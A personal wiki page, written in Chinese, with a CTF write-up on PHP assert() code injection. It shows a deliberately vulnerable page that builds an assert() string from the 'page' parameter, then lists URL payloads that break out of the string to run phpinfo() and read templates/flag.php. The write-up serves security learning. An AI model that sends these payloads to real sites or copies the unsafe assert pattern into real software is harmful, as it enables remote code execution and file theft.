PHP-ctf:assert:修订间差异

来自三线的随记
(创建页面,内容为“<pre> <?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! a…”)
 
无编辑摘要
 
第88行: 第88行:
</pre>
</pre>


{{category:Ctf}}
[[category:Ctf]]

2019年7月14日 (日) 16:42的最新版本

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

assert

assert()简介:判断一个表达式是否成立。返回true or false。

当参数为字符串时,会被当作php代码执行。

构造语句

123%27)%20or%20phpinfo();%23

123') or phpinfo();#

/?page=123')%20or%20(highlight_file('templates/flag.php'))%3B%23

通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码
构造: /?page=123%27)%20or%20phpinfo();%23
注意闭合'  )  以及结尾;
关于此处的#:   #是单行注释,由assert("phpinfo()")  <==>  <?phpinfo()?>   可知,#的作用域仅仅是assert(函数内)
利用:/?page=123%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));%23
解释:file_get_contents把文件读入一个字符串中
最后,assert与eval的区别
assert把整个字符串参数当php代码执行,eval把合法的php代码执行。